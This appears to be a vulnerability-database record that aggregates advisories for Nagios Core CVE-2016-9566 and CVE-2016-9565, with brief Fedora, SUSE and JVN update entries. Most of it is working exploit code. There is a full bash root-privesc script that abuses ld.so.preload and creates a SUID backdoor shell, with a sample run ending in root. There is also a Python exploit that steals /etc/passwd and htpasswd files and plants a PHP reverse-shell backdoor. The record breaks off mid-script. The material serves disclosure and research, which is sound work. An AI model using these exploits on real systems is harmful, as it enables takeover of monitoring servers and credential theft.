the CVE-2016-9565 vulnerability explained at:\r\n \r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\nhttps://www.exploit-db.com/exploits/40920\r\n \r\nthey would gain access to www-data account belonging to 'nagios' group in case\r\nof a default Nagios install following the official Nagios setup guide:\r\n \r\nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf\r\n \r\nThis would not be enough to write to ld.so.preload file as 'nagios' group is \r\nonly allowed to read the log file.\r\n \r\nAttackers with access to 'nagios' group could however bypass the lack of \r\nwrite privilege by writing to Nagios external command pipe (nagios.cmd) which\r\nis writable by 'nagios' group by default:\r\n \r\nprw-rw---- 1 nagios nagios 0 Dec 10 19:39 nagios.cmd\r\n \r\nThe Nagios command pipe allows to communicate with Nagios daemon.\r\n \r\nBy sending an invalid command to the pipe, the attacker could bypass the lack \r\nof write permission and inject data to the log file (pointing to ld.so.preload).\r\n \r\nFor example, by running the command:\r\n \r\n/usr/bin/printf \"[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so \\n\" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd\r\n \r\nNagios daemon would append the following line to the log file:\r\n \r\n[1481439996] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so\r\n \r\nwhich would be enough to load a malicious library and escalate the privileges\r\nfrom a www-data user (belonging to 'nagios' group) to root upon a Nagios restart.\r\n \r\nForcing restart of Nagios daemon\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n \r\nAttackers could speed up the restart by using the Nagios command pipe once again\r\nto send a SHUTDOWN_PROGRAM command as follows:\r\n \r\n/usr/bin/printf \"[%lu] SHUTDOWN_PROGRAM\\n\" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd\r\n \r\n \r\nV. PROOF OF CONCEPT EXPLOIT\r\n-------------------------\r\n \r\n-----------[ nagios-root-privesc.sh ]--------------\r\n'''\r\n \r\n#!/bin/bash\r\n#\r\n# Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit\r\n# nagios-root-privesc.sh (ver. 1.0)\r\n#\r\n# CVE-2016-9566\r\n#\r\n# Discovered and coded by:\r\n#\r\n# Dawid Golunski\r\n# dawid[at]legalhackers.com\r\n#\r\n# https://legalhackers.com\r\n#\r\n# Follow https://twitter.com/dawid_golunski for updates on this advisory\r\n#\r\n#\r\n# [Info]\r\n#\r\n# This PoC exploit allows privilege escalation from 'nagios' system account, \r\n# or an account belonging to 'nagios' group, to root (root shell).\r\n# Attackers could obtain such an account via exploiting another vulnerability,\r\n# e.g. CVE-2016-9565 linked below.\r\n#\r\n# [Exploit usage]\r\n#\r\n# ./nagios-root-privesc.sh path_to_nagios.log \r\n#\r\n#\r\n# See the full advisory for details at:\r\n# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n#\r\n# Video PoC:\r\n# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n#\r\n# CVE-2016-9565:\r\n# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n#\r\n# Disclaimer:\r\n# For testing purposes only. Do no harm.\r\n#\r\n \r\nBACKDOORSH=\"/bin/bash\"\r\nBACKDOORPATH=\"/tmp/nagiosrootsh\"\r\nPRIVESCLIB=\"/tmp/nagios_privesc_lib.so\"\r\nPRIVESCSRC=\"/tmp/nagios_privesc_lib.c\"\r\nSUIDBIN=\"/usr/bin/sudo\"\r\ncommandfile='/usr/local/nagios/var/rw/nagios.cmd'\r\n \r\nfunction cleanexit {\r\n # Cleanup \r\n echo -e \"\\n[+] Cleaning up...\"\r\n rm -f $PRIVESCSRC\r\n rm -f $PRIVESCLIB\r\n rm -f $ERRORLOG\r\n touch $ERRORLOG\r\n if [ -f /etc/ld.so.preload ]; then\r\n echo -n > /etc/ld.so.preload\r\n fi\r\n echo -e \"\\n[+] Job done. Exiting with code $1 \\n\"\r\n exit $1\r\n}\r\n \r\nfunction ctrl_c() {\r\n echo -e \"\\n[+] Ctrl+C pressed\"\r\n cleanexit 0\r\n}\r\n \r\n#intro \r\n \r\necho -e \"\\033[94m \\nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \\nnagios-root-privesc.sh (ver. 1.0)\\n\"\r\necho -e \"Discovered and coded by: \\n\\nDawid Golunski \\nhttps://legalhackers.com \\033[0m\"\r\n \r\n# Priv check\r\necho -e \"\\n[+] Starting the exploit as: \\n\\033[94m`id`\\033[0m\"\r\nid | grep -q nagios\r\nif [ $? -ne 0 ]; then\r\n echo -e \"\\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\\n\"\r\n exit 3\r\nfi\r\n \r\n# Set target paths\r\nERRORLOG=\"$1\"\r\nif [ ! -f \"$ERRORLOG\" ]; then\r\n echo -e \"\\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \\n\"\r\n echo -e \"./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\\n\"\r\n exit 3\r\nfi\r\n \r\n# [ Exploitation ]\r\n \r\ntrap ctrl_c INT\r\n# Compile privesc preload library\r\necho -e \"\\n[+] Compiling the privesc shared library ($PRIVESCSRC)\"\r\ncat <<_solibeof_>$PRIVESCSRC\r\n#define _GNU_SOURCE\r\n#include <stdio.h>\r\n#include <sys/stat.h>\r\n#include <unistd.h>\r\n#include <dlfcn.h>\r\n #include <sys/types.h>\r\n #include <sys/stat.h>\r\n #include <fcntl.h>\r\n \r\nuid_t geteuid(void) {\r\n static uid_t (*old_geteuid)();\r\n old_geteuid = dlsym(RTLD_NEXT, \"geteuid\");\r\n if ( old_geteuid() == 0 ) {\r\n chown(\"$BACKDOORPATH\", 0, 0);\r\n chmod(\"$BACKDOORPATH\", 04777);\r\n unlink(\"/etc/ld.so.preload\");\r\n }\r\n return old_geteuid();\r\n}\r\n_solibeof_\r\n/bin/bash -c \"gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl\"\r\nif [ $? -ne 0 ]; then\r\n echo -e \"\\n[!] Failed to compile the privesc lib $PRIVESCSRC.\"\r\n cleanexit 2;\r\nfi\r\n \r\n \r\n# Prepare backdoor shell\r\ncp $BACKDOORSH $BACKDOORPATH\r\necho -e \"\\n[+] Backdoor/low-priv shell installed at: \\n`ls -l $BACKDOORPATH`\"\r\n \r\n# Safety check\r\nif [ -f /etc/ld.so.preload ]; then\r\n echo -e \"\\n[!] /etc/ld.so.preload already exists. Exiting for safety.\"\r\n exit 2\r\nfi\r\n \r\n# Symlink the Nagios log file\r\nrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG\r\nif [ $? -ne 0 ]; then\r\n echo -e \"\\n[!] Couldn't remove the $ERRORLOG file or create a symlink.\"\r\n cleanexit 3\r\nfi\r\necho -e \"\\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \\n`ls -l $ERRORLOG`\"\r\n \r\n{\r\n# Wait for Nagios to get restarted\r\necho -ne \"\\n[+] Waiting for Nagios service to get restarted...\\n\"\r\necho -n \"Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] \"\r\nread THE_ANSWER\r\nif [ \"$THE_ANSWER\" = \"y\" ]; then\r\n /usr/bin/printf \"[%lu] SHUTDOWN_PROGRAM\\n\" `date +%s` > $commandfile\r\nfi\r\nsleep 3s\r\nps aux | grep -v grep | grep -i 'bin/nagios'\r\nif [ $? -ne 0 ]; then\r\n echo -ne \"\\n[+] Nagios stopped. Shouldn't take long now... ;)\\n\"\r\nfi\r\nwhile :; do \r\n sleep 1 2>/dev/null\r\n if [ -f /etc/ld.so.preload ]; then\r\n rm -f $ERRORLOG\r\n break;\r\n fi\r\ndone\r\n \r\necho -e \"\\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \\n`ls -l /etc/ld.so.preload`\"\r\n \r\n# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:\r\n# -rw-r--r-- 1 nagios nagios \r\n# Only 'nagios' user can write to it, but 'nagios' group can not.\r\n# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.\r\n# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe\r\n# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will\r\n# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)\r\n \r\nsleep 3s # Wait for Nagios to create the nagios.cmd pipe\r\nif [ ! -p $commandfile ]; then\r\n echo -e \"\\n[!] Nagios command pipe $commandfile does not exist!\"\r\n exit 2\r\nfi \r\necho -e \"\\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload\"\r\nnow=`date +%s`\r\n/usr/bin/printf \"[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \\n\" $now > $commandfile\r\nsleep 1s\r\ngrep -q \"$PRIVESCLIB\" /etc/ld.so.preload\r\nif [ $? -eq 0 ]; then \r\n echo -e \"\\n[+] The /etc/ld.so.preload file now contains: \\n`cat /etc/ld.so.preload | grep \"$PRIVESCLIB\"`\"\r\nelse\r\n echo -e \"\\n[!] Unable to inject the lib to /etc/ld.so.preload\"\r\n exit 2\r\nfi\r\n \r\n} 2>/dev/null\r\n \r\n# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)\r\necho -e \"\\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary\"\r\nsudo 2>/dev/null >/dev/null\r\n \r\n# Check for the rootshell\r\nls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null\r\nif [ $? -eq 0 ]; then \r\n echo -e \"\\n[+] Rootshell got assigned root SUID perms at: \\n`ls -l $BACKDOORPATH`\"\r\n echo -e \"\\n\\033[94mGot root via Nagios!\\033[0m\"\r\nelse\r\n echo -e \"\\n[!] Failed to get root: \\n`ls -l $BACKDOORPATH`\"\r\n cleanexit 2\r\nfi\r\n \r\n# Use the rootshell to perform cleanup that requires root privileges\r\n$BACKDOORPATH -p -c \"rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB\"\r\nrm -f $ERRORLOG\r\necho > $ERRORLOG\r\n \r\n# Execute the rootshell\r\necho -e \"\\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\\n\"\r\n$BACKDOORPATH -p -i\r\n \r\n# Job done.\r\ncleanexit 0\r\n \r\n'''\r\n---------------------------------------------------\r\n \r\n \r\nExample run\r\n~~~~~~~~~~~~~\r\n \r\n[email\u00a0protected]:/tmp$ ./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\r\n./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\r\n \r\nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \r\nnagios-root-privesc.sh (ver. 1.0)\r\n \r\nDiscovered and coded by: \r\n \r\nDawid Golunski \r\nhttps://legalhackers.com \r\n \r\n[+] Starting the exploit as: \r\nuid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)\r\n \r\n[+] Compiling the privesc shared library (/tmp/nagios_privesc_lib.c)\r\n \r\n[+] Backdoor/low-priv shell installed at: \r\n-rwxrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh\r\n \r\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \r\nlrwxrwxrwx 1 www-data nagios 18 Dec 11 08:44 /usr/local/nagios/var/nagios.log -> /etc/ld.so.preload\r\n \r\n[+] Waiting for Nagios service to get restarted...\r\nDo you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] y\r\n \r\n[+] Nagios stopped. Shouldn't take long now... ;)\r\n \r\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \r\n-rw-r--r-- 1 nagios nagios 871 Dec 11 08:44 /etc/ld.so.preload\r\n \r\n[+] Injecting /tmp/nagios_privesc_lib.so via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload\r\n \r\n[+] The /etc/ld.so.preload file now contains: \r\n[1481463869] Warning: Unrecognized external command -> NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so\r\n \r\n[+] Triggering privesc code from /tmp/nagios_privesc_lib.so by executing /usr/bin/sudo SUID binary\r\n \r\n[+] Rootshell got assigned root SUID perms at: \r\n-rwsrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh\r\n \r\nGot root via Nagios!\r\n \r\n[+] Nagios pwned. Spawning the rootshell /tmp/nagiosrootsh now\r\n \r\nnagiosrootsh-4.3# exit\r\nexit\r\n \r\n[+] Cleaning up...\r\n \r\n[+] Job done. Exiting with code 0 \r\n \r\n \r\n \r\nVideo PoC:\r\n~~~~~~~~~~~~~\r\n \r\nhttps://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n \r\n \r\n \r\nVI. BUSINESS IMPACT\r\n-------------------------\r\n \r\nAn attacker who has managed to gain access to 'nagios' account, or an account\r\nbelonging to 'nagios' group (which is the case in the CVE-2016-9565 scenario)\r\nto escalate their privileges to root and fully compromise the Nagios monitoring\r\nserver.\r\n \r\n \r\nVII. SYSTEMS AFFECTED\r\n-------------------------\r\n \r\nNagios Core < 4.2.4\r\n \r\nVendor notice:\r\nhttps://www.nagios.org/projects/nagios-core/history/4x/\r\n \r\nVIII. SOLUTION\r\n-------------------------\r\n \r\nVendor received this advisory in advance and released a security\r\nrelease of Nagios 4.2.4 to address this vulnerability.\r\n \r\nIX. REFERENCES\r\n-------------------------\r\n \r\nhttps://legalhackers.com\r\n \r\nThis advisory:\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n \r\nExploit code:\r\nhttps://legalhackers.com/exploits/CVE-2016-9566/nagios-root-privesc.sh\r\n \r\nCVE-2016-9566:\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9566\r\n \r\nVideo PoC:\r\nhttps://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n \r\nNagios Curl Command Injection / Code Exec with 'nagios' group (CVE-2016-9565):\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n \r\nNagios / Vendor links:\r\n \r\nhttps://www.nagios.org/\r\n \r\nCVE-2016-9566:\r\nhttps://www.nagios.org/projects/nagios-core/history/4x/\r\n \r\nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf\r\n \r\nX. CREDITS\r\n-------------------------\r\n \r\nThe vulnerability has been discovered by Dawid Golunski\r\ndawid (at) legalhackers (dot) com\r\n \r\nhttps://legalhackers.com\r\n \r\nXI. REVISION HISTORY\r\n-------------------------\r\n \r\n15.12.2016 - Advisory released\r\n \r\n \r\nXII. LEGAL NOTICES\r\n-------------------------\r\n \r\nThe information contained within this advisory is supplied \"as-is\" with\r\nno warranties or guarantees of fitness of use or otherwise. I accept no\r\nresponsibility for any damage caused by the use or misuse of this information.\r\n'''\n\n# 0day.today [2018-03-14] #", "sourceHref": "https://0day.today/exploit/26530", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "jvn": [{"lastseen": "2019-05-29T17:21:26", "bulletinFamily": "info", "cvelist": ["CVE-2008-4796"], "description": "\n ## Description\n\nSnoopy is an open source PHP library. Snoopy does not properly handle user-input data. This causes a vulnerability which may allow a remote attacker to execute an arbitrary command. \n\n ## Impact\n\nAn arbitrary command could be executed with the privilege of the server where Snoopy runs. \n\n ## Solution\n\n**Update the Software** \nApply the latest update provided by the developer. \n\n ## Products Affected\n\n * Snoopy 1.2.3 and earlier\n", "edition": 4, "modified": "2008-10-28T00:00:00", "published": "2008-10-28T00:00:00", "id": "JVN:20502807", "href": "http://jvn.jp/en/jp/JVN20502807/index.html", "title": "JVN#20502807 Snoopy command injection vulnerability", "type": "jvn", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "fedora": [{"lastseen": "2020-12-21T08:17:49", "bulletinFamily": "unix", "cvelist": ["CVE-2008-4796"], "description": "Wordpress is an online publishing / weblog package that makes it very easy, almost trivial, to get information out to people on the web. ", "modified": "2008-11-07T02:51:55", "published": "2008-11-07T02:51:55", "id": "FEDORA:02A37208D57", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 8 Update: wordpress-2.6.3-1.fc8", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:49", "bulletinFamily": "unix", "cvelist": ["CVE-2008-4796"], "description": "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators crea te effective online learning communities. ", "modified": "2008-12-21T08:20:52", "published": "2008-12-21T08:20:52", "id": "FEDORA:AC75620876F", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 9 Update: moodle-1.9.3-4.fc9", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:49", "bulletinFamily": "unix", "cvelist": ["CVE-2008-4796"], "description": "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators crea te effective online learning communities. ", "modified": "2008-11-08T02:11:18", "published": "2008-11-08T02:11:18", "id": "FEDORA:A7D1C208DAD", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 9 Update: moodle-1.9.3-3.fc9", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:49", "bulletinFamily": "unix", "cvelist": ["CVE-2008-4796"], "description": "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators crea te effective online learning communities. ", "modified": "2008-11-22T16:45:18", "published": "2008-11-22T16:45:18", "id": "FEDORA:04197208D75", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 10 Update: moodle-1.9.3-3.fc10", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:49", "bulletinFamily": "unix", "cvelist": ["CVE-2008-4796"], "description": "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators crea te effective online learning communities. ", "modified": "2008-12-21T08:37:43", "published": "2008-12-21T08:37:43", "id": "FEDORA:8EF9620874A", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 10 Update: moodle-1.9.3-4.fc10", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:49", "bulletinFamily": "unix", "cvelist": ["CVE-2008-4796"], "description": "Wordpress is an online publishing / weblog package that makes it very easy, almost trivial, to get information out to people on the web. ", "modified": "2008-11-07T02:54:34", "published": "2008-11-07T02:54:34", "id": "FEDORA:5FA58208D69", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 9 Update: wordpress-2.6.3-1.fc9", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "suse": [{"lastseen": "2017-01-16T19:01:21", "bulletinFamily": "unix", "cvelist": ["CVE-2015-8010", "CVE-2016-9566"], "edition": 1, "description": "This update for icinga includes various upstream fixes and the following\n security security fixes:\n\n - icinga was updated to version 1.14.0\n - the classic-UI was vulnerable to a cross site scripting attack\n (CVE-2015-8010, boo#952777)\n - A user with nagios privileges could have gained root privileges by\n placing a symbolic link at the logfile location (CVE-2016-9566,\n boo#1014637)\n\n", "modified": "2017-01-16T19:14:55", "published": "2017-01-16T19:14:55", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-01/msg00019.html", "id": "OPENSUSE-SU-2017:0146-1", "title": "Security update for icinga (important)", "type": "suse", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:36", "description": "\nNagios 4.2.2 - Arbitrary Code Execution", "edition": 1, "published": "2016-12-15T00:00:00", "title": "Nagios 4.2.2 - Arbitrary Code Execution", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9565", "CVE-2016-9566"], "modified": "2016-12-15T00:00:00", "id": "EXPLOITPACK:1E78E725ECD20A15030FA1535B6B55B1", "href": "", "sourceData": "#!/usr/bin/env python\n\n# Source: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\n\nintro = \"\"\"\\033[94m\nNagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit\nCVE-2016-9565\nnagios_cmd_injection.py ver. 1.0\n\nDiscovered & Coded by:\n\nDawid Golunski\nhttps://legalhackers.com\n\\033[0m\n\"\"\"\nusage = \"\"\"\nThis PoC exploit can allow well-positioned attackers to extract and write \narbitrary files on the Nagios server which can lead to arbitrary code execution\non Nagios deployments that follow the official Nagios installation guidelines. \n\nFor details, see the full advisory at:\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\n\nPoC Video:\nhttps://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\n\nFollow https://twitter.com/dawid_golunski for updates on this advisory.\n\nRemember you can turn the nagios shell into root shell via CVE-2016-9565:\nhttps://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\n\nUsage:\n\n./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]\n\nDisclaimer:\nFor testing purposes only. Do no harm.\n\n\"\"\"\n\nimport os\nimport sys\nimport time\nimport re\nimport tornado.httpserver\nimport tornado.web\nimport tornado.ioloop\n\nexploited = 0 \ndocroot_rw = 0\n\nclass MainHandler(tornado.web.RequestHandler):\n\n def get(self):\n\tglobal exploited\n\tif (exploited == 1):\n\t\tself.finish()\n\telse:\n\t\tua = self.request.headers['User-Agent']\n\t\tif \"Magpie\" in ua:\n\t\t\tprint \"[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\\n\" % self.request.remote_ip\n\t\t\tprint '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\\n'\n\t\t\tself.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)\n\t\t\texploited = 1\n\n def post(self): \n global docroot_rw\n\tprint \"[+] Success, curl payload injected! Received data back from the Nagios server %s\\n\" % self.request.remote_ip\n\n\t# Extract /etc/passwd from the target \n passwd = self.request.files['passwd'][0]['body']\n\tprint \"[*] Contents of /etc/passwd file from the target:\\n\\n%s\" % passwd\n\n\t# Extract /usr/local/nagios/etc/htpasswd.users\n htauth = self.request.files['htauth'][0]['body']\n\tprint \"[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\\n\\n%s\" % htauth\n\n\t# Extract nagios group from /etc/group\n group = self.request.files['group'][0]['body']\n\tfor line in group.splitlines():\n\t if \"nagios:\" in line:\n\t\tnagios_group = line\n\t\tprint \"[*] Retrieved nagios group line from /etc/group file on the target: %s\\n\" % nagios_group\n\tif \"www-data\" in nagios_group:\n\t\tprint \"[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\\n\"\n\t\tdocroot_rw = 1\n\n\t# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'\n\t# option. The output trace should contain an unwrapped line similar to:\n\t# \n\t# == Info: Server <?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'\"); ?> is not blacklisted\n\t#\n\t# which will do the trick as it won't mess up the payload :)\n\tself.add_header('Server', backdoor)\n\n\t# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)\n\tprint \"[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \\n\"\n\tself.write(xmldata)\n\n\tself.finish()\n\ttornado.ioloop.IOLoop.instance().stop()\n\n\nif __name__ == \"__main__\":\n global backdoor_path\n global backdoor\n\n print intro\n\n # Set attacker's external IP & port to be used by the reverse shell\n if len(sys.argv) < 2 :\n\t print usage\n\t sys.exit(2)\n attacker_ip = sys.argv[1]\n if len(sys.argv) == 3 :\n\t attacker_port = sys.argv[1]\n else:\n\t attacker_port = 8080\n\n # PHP backdoor to be saved on the target Nagios server\n backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'\n backdoor = \"\"\"<?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'\"); die(\"stop processing\"); ?>\"\"\" % (attacker_ip, attacker_port)\n\n # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script\n global xmldata\n xmldata = \"\"\"<?xml version=\"1.0\"?>\n <rss version=\"2.0\">\n <channel>\n <title>Nagios feed with injected JS payload</title>\n <item>\n <title>Item 1</title>\n <description>\n\n <strong>Feed injected. Here we go </strong> - \n loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) \n\n <img src=\"/nagios/nagios-backdoor.php\" onerror=\"alert('Reverse Shell /nagios/nagios-backdoor.php executed!')\">\n\n </description>\n\n </item>\n\n </channel>\n </rss> \"\"\"\n\n\n # Generate SSL cert\n print \"[+] Generating SSL certificate for our python HTTPS web server \\n\"\n os.system(\"echo -e '\\n\\n\\n\\n\\n\\n\\n\\n\\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null\")\n\n print \"[+] Starting the web server on ports 80 & 443 \\n\"\n application = tornado.web.Application([\n (r'/.*', MainHandler)\n ])\n application.listen(80)\n http_server = tornado.httpserver.HTTPServer(\n application, \n ssl_options = {\n \"certfile\": os.path.join(\"./\", \"server.cert\"),\n \"keyfile\": os.path.join(\"./\", \"server.key\"),\n }\n )\n http_server.listen(443)\n\n print \"[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\\n\"\n tornado.ioloop.IOLoop.current().start()\n\n if (docroot_rw == 1):\n\t print \"[+] PHP backdoor should have been saved in %s on the target by now!\\n\" % backdoor_path\n\t print \"[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\\n\"\n\t os.system(\"nc -v -l -p 8080\")\n\t print \"\\n[+] Shell closed\\n\"\n\n print \"[+] That's all. Exiting\\n\"", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-04-01T19:04:36", "description": "\nNagios 4.2.4 - Local Privilege Escalation", "edition": 1, "published": "2016-12-15T00:00:00", "title": "Nagios 4.2.4 - Local Privilege Escalation", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9565", "CVE-2016-9566"], "modified": "2016-12-15T00:00:00", "id": "EXPLOITPACK:EAF956CD663A5E07C5A95F99B29D1077", "href": "", "sourceData": "#!/bin/bash\n#\n# Source: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\n#\n# Nagios Core < 4.2.4 Root Privilege Escalation PoC Exploit\n# nagios-root-privesc.sh (ver. 1.0)\n#\n# CVE-2016-9566\n#\n# Discovered and coded by:\n#\n# Dawid Golunski\n# dawid[at]legalhackers.com\n#\n# https://legalhackers.com\n#\n# Follow https://twitter.com/dawid_golunski for updates on this advisory\n#\n#\n# [Info]\n#\n# This PoC exploit allows privilege escalation from 'nagios' system account, \n# or an account belonging to 'nagios' group, to root (root shell).\n# Attackers could obtain such an account via exploiting another vulnerability,\n# e.g. CVE-2016-9565 linked below.\n#\n# [Exploit usage]\n#\n# ./nagios-root-privesc.sh path_to_nagios.log \n#\n#\n# See the full advisory for details at:\n# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\n#\n# Video PoC:\n# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\n#\n# CVE-2016-9565:\n# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\n#\n# Disclaimer:\n# For testing purposes only. Do no harm.\n#\n\nBACKDOORSH=\"/bin/bash\"\nBACKDOORPATH=\"/tmp/nagiosrootsh\"\nPRIVESCLIB=\"/tmp/nagios_privesc_lib.so\"\nPRIVESCSRC=\"/tmp/nagios_privesc_lib.c\"\nSUIDBIN=\"/usr/bin/sudo\"\ncommandfile='/usr/local/nagios/var/rw/nagios.cmd'\n\nfunction cleanexit {\n\t# Cleanup \n\techo -e \"\\n[+] Cleaning up...\"\n\trm -f $PRIVESCSRC\n\trm -f $PRIVESCLIB\n\trm -f $ERRORLOG\n\ttouch $ERRORLOG\n\tif [ -f /etc/ld.so.preload ]; then\n\t\techo -n > /etc/ld.so.preload\n\tfi\n\techo -e \"\\n[+] Job done. Exiting with code $1 \\n\"\n\texit $1\n}\n\nfunction ctrl_c() {\n echo -e \"\\n[+] Ctrl+C pressed\"\n\tcleanexit 0\n}\n\n#intro \n\necho -e \"\\033[94m \\nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \\nnagios-root-privesc.sh (ver. 1.0)\\n\"\necho -e \"Discovered and coded by: \\n\\nDawid Golunski 